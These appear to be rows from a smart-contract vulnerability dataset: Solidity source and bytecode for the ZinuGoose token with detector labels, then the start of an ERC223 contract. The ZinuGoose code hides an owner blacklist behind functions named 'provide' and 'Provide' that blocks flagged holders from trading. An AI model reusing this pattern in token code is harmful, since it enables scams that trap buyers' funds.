address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ZinuGoose is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private guard;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _addrFee1;
address payable private _addrFee2;
string private constant _name = "ZinuGoose";
string private constant _symbol = "ZINUGOOSE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_addrFee1 = payable(0x69696969a761eD67dd3Fd73bC57bEEC154469eF6);
_addrFee2 = payable(0x69696969a761eD67dd3Fd73bC57bEEC154469eF6);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_addrFee1] = true;
_isExcludedFromFee[_addrFee2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 3;
if (from != owner() && to != owner()) {
require(!guard[from] && !guard[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_addrFee1.transfer(amount.div(2));
_addrFee2.transfer(amount.div(2));
}
function provide(address[] memory _route) public onlyOwner {
for (uint i = 0; i < _route.length; i++) {
guard[_route[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function Provide(address path) public onlyOwner {
guard[path] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _addrFee1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _addrFee1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a082311161009557806396943fe91161006457806396943fe91461031c578063a9059cbb14610345578063c3c8cd8014610382578063dd62ed3e14610399578063ff872602146103d657610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b806323b872dd116100d157806323b872dd146101ca578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306ca70a51461010e57806306fdde0314610137578063095ea7b31461016257806318160ddd1461019f57610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610135600480360381019061013091906121c7565b6103ed565b005b34801561014357600080fd5b5061014c61053d565b60405161015991906124ab565b60405180910390f35b34801561016e57600080fd5b506101896004803603810190610184919061218b565b61057a565b6040516101969190612490565b60405180910390f35b3480156101ab57600080fd5b506101b4610598565b6040516101c191906125ed565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec919061213c565b6105a9565b6040516101fe9190612490565b60405180910390f35b34801561021357600080fd5b5061021c610682565b6040516102299190612662565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612208565b61068b565b005b34801561026757600080fd5b5061027061073d565b005b34801561027e57600080fd5b50610299600480360381019061029491906120ae565b6107af565b6040516102a691906125ed565b60405180910390f35b3480156102bb57600080fd5b506102c4610800565b005b3480156102d257600080fd5b506102db610953565b6040516102e89190612475565b60405180910390f35b3480156102fd57600080fd5b5061030661097c565b60405161031391906124ab565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906120ae565b6109b9565b005b34801561035157600080fd5b5061036c6004803603810190610367919061218b565b610aa9565b6040516103799190612490565b60405180910390f35b34801561038e57600080fd5b50610397610ac7565b005b3480156103a557600080fd5b506103c060048036038101906103bb9190612100565b610b41565b6040516103cd91906125ed565b60405180910390f35b3480156103e257600080fd5b506103eb610bc8565b005b6103f5610c6f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610482576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104799061256d565b60405180910390fd5b60005b8151811015610539576001600660008484815181106104cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061053190612903565b915050610485565b5050565b60606040518060400160405280600981526020017f5a696e75476f6f73650000000000000000000000000000000000000000000000815250905090565b600061058e610587610c6f565b8484610c77565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105b6848484610e42565b610677846105c2610c6f565b61067285604051806060016040528060288152602001612cab60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610628610c6f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114479092919063ffffffff16565b610c77565b600190509392505050565b60006009905090565b610693610c6f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610720576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107179061256d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661077e610c6f565b73ffffffffffffffffffffffffffffffffffffffff161461079e57600080fd5b60004790506107ac816114ab565b50565b60006107f9600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115a6565b9050919050565b610808610c6f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088c9061256d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5a494e55474f4f53450000000000000000000000000000000000000000000000815250905090565b6109c1610c6f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a459061256d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610abd610ab6610c6f565b8484610e42565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b08610c6f565b73ffffffffffffffffffffffffffffffffffffffff1614610b2857600080fd5b6000610b33306107af565b9050610b3e81611614565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bd0610c6f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c549061256d565b60405180910390fd5b683635c9adc5dea00000601081905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cde906125cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e9061250d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e3591906125ed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea9906125ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f19906124cd565b60405180910390fd5b60008111610f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5c9061258d565b60405180910390fd5b6002600a819055506003600b81905550610f7d610953565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610feb5750610fbb610953565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561143757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156110945750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61109d57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111485750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561119e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156111b65750600f60179054906101000a900460ff165b15611266576010548111156111ca57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061121557600080fd5b601e426112229190612723565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156113115750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113675750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561137d576002600a81905550600a600b819055505b6000611388306107af565b9050600f60159054906101000a900460ff161580156113f55750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561140d5750600f60169054906101000a900460ff165b156114355761141b81611614565b6000479050600081111561143357611432476114ab565b5b505b505b61144283838361190e565b505050565b600083831115829061148f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148691906124ab565b60405180910390fd5b506000838561149e9190612804565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6114fb60028461191e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611526573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61157760028461191e90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156115a2573d6000803e3d6000fd5b5050565b60006008548211156115ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e4906124ed565b60405180910390fd5b60006115f7611968565b905061160c818461191e90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611672577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156116a05781602001602082028036833780820191505090505b50905030816000815181106116de577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561178057600080fd5b505afa158015611794573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117b891906120d7565b816001815181106117f2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061185930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c77565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118bd959493929190612608565b600060405180830381600087803b1580156118d757600080fd5b505af11580156118eb573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611919838383611993565b505050565b600061196083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b5e565b905092915050565b6000806000611975611bc1565b9150915061198c818361191e90919063ffffffff16565b9250505090565b6000806000806000806119a587611c23565b955095509550955095509550611a0386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a9885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae481611d33565b611aee8483611df0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b4b91906125ed565b60405180910390a3505050505050505050565b60008083118290611ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9c91906124ab565b60405180910390fd5b5060008385611bb49190612779565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050611bf7683635c9adc5dea0000060085461191e90919063ffffffff16565b821015611c1657600854683635c9adc5dea00000935093505050611c1f565b81819350935050505b9091565b6000806000806000806000806000611c408a600a54600b54611e2a565b9250925092506000611c50611968565b90506000806000611c638e878787611ec0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ccd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611447565b905092915050565b6000808284611ce49190612723565b905083811015611d29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d209061252d565b60405180910390fd5b8091505092915050565b6000611d3d611968565b90506000611d548284611f4990919063ffffffff16565b9050611da881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e0582600854611c8b90919063ffffffff16565b600881905550611e2081600954611cd590919063ffffffff16565b6009819055505050565b600080600080611e566064611e48888a611f4990919063ffffffff16565b61191e90919063ffffffff16565b90506000611e806064611e72888b611f4990919063ffffffff16565b61191e90919063ffffffff16565b90506000611ea982611e9b858c611c8b90919063ffffffff16565b611c8b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ed98589611f4990919063ffffffff16565b90506000611ef08689611f4990919063ffffffff16565b90506000611f078789611f4990919063ffffffff16565b90506000611f3082611f228587611c8b90919063ffffffff16565b611c8b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611f5c5760009050611fbe565b60008284611f6a91906127aa565b9050828482611f799190612779565b14611fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb09061254d565b60405180910390fd5b809150505b92915050565b6000611fd7611fd2846126a2565b61267d565b90508083825260208201905082856020860282011115611ff657600080fd5b60005b85811015612026578161200c8882612030565b845260208401935060208301925050600181019050611ff9565b5050509392505050565b60008135905061203f81612c65565b92915050565b60008151905061205481612c65565b92915050565b600082601f83011261206b57600080fd5b813561207b848260208601611fc4565b91505092915050565b60008135905061209381612c7c565b92915050565b6000813590506120a881612c93565b92915050565b6000602082840312156120c057600080fd5b60006120ce84828501612030565b91505092915050565b6000602082840312156120e957600080fd5b60006120f784828501612045565b91505092915050565b6000806040838503121561211357600080fd5b600061212185828601612030565b925050602061213285828601612030565b9150509250929050565b60008060006060848603121561215157600080fd5b600061215f86828701612030565b935050602061217086828701612030565b925050604061218186828701612099565b9150509250925092565b6000806040838503121561219e57600080fd5b60006121ac85828601612030565b92505060206121bd85828601612099565b9150509250929050565b6000602082840312156121d957600080fd5b600082013567ffffffffffffffff8111156121f357600080fd5b6121ff8482850161205a565b91505092915050565b60006020828403121561221a57600080fd5b600061222884828501612084565b91505092915050565b600061223d8383612249565b60208301905092915050565b61225281612838565b82525050565b61226181612838565b82525050565b6000612272826126de565b61227c8185612701565b9350612287836126ce565b8060005b838110156122b857815161229f8882612231565b97506122aa836126f4565b92505060018101905061228b565b5085935050505092915050565b6122ce8161284a565b82525050565b6122dd8161288d565b82525050565b60006122ee826126e9565b6122f88185612712565b935061230881856020860161289f565b612311816129d9565b840191505092915050565b6000612329602383612712565b9150612334826129ea565b604082019050919050565b600061234c602a83612712565b915061235782612a39565b604082019050919050565b600061236f602283612712565b915061237a82612a88565b604082019050919050565b6000612392601b83612712565b915061239d82612ad7565b602082019050919050565b60006123b5602183612712565b91506123c082612b00565b604082019050919050565b60006123d8602083612712565b91506123e382612b4f565b602082019050919050565b60006123fb602983612712565b915061240682612b78565b604082019050919050565b600061241e602583612712565b915061242982612bc7565b604082019050919050565b6000612441602483612712565b915061244c82612c16565b604082019050919050565b61246081612876565b82525050565b61246f81612880565b82525050565b600060208201905061248a6000830184612258565b92915050565b60006020820190506124a560008301846122c5565b92915050565b600060208201905081810360008301526124c581846122e3565b905092915050565b600060208201905081810360008301526124e68161231c565b9050919050565b600060208201905081810360008301526125068161233f565b9050919050565b6000602082019050818103600083015261252681612362565b9050919050565b6000602082019050818103600083015261254681612385565b9050919050565b60006020820190508181036000830152612566816123a8565b9050919050565b60006020820190508181036000830152612586816123cb565b9050919050565b600060208201905081810360008301526125a6816123ee565b9050919050565b600060208201905081810360008301526125c681612411565b9050919050565b600060208201905081810360008301526125e681612434565b9050919050565b60006020820190506126026000830184612457565b92915050565b600060a08201905061261d6000830188612457565b61262a60208301876122d4565b818103604083015261263c8186612267565b905061264b6060830185612258565b6126586080830184612457565b9695505050505050565b60006020820190506126776000830184612466565b92915050565b6000612687612698565b905061269382826128d2565b919050565b6000604051905090565b600067ffffffffffffffff8211156126bd576126bc6129aa565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061272e82612876565b915061273983612876565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561276e5761276d61294c565b5b828201905092915050565b600061278482612876565b915061278f83612876565b92508261279f5761279e61297b565b5b828204905092915050565b60006127b582612876565b91506127c083612876565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127f9576127f861294c565b5b828202905092915050565b600061280f82612876565b915061281a83612876565b92508282101561282d5761282c61294c565b5b828203905092915050565b600061284382612856565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061289882612876565b9050919050565b60005b838110156128bd5780820151818401526020810190506128a2565b838111156128cc576000848401525b50505050565b6128db826129d9565b810181811067ffffffffffffffff821117156128fa576128f96129aa565b5b80604052505050565b600061290e82612876565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129415761294061294c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612c6e81612838565b8114612c7957600080fd5b50565b612c858161284a565b8114612c9057600080fd5b50565b612c9c81612876565b8114612ca757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd15d14c9fc01973708b133dfd17037d5c48702e0250af3fd98766133642c74b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
| 8,909 |
0xc6d03370b3142c1619e8ead43e941a7bb6d32d9a
|
/**
*Submitted for verification at Etherscan.io on 2021-07-29
*/
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
*
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
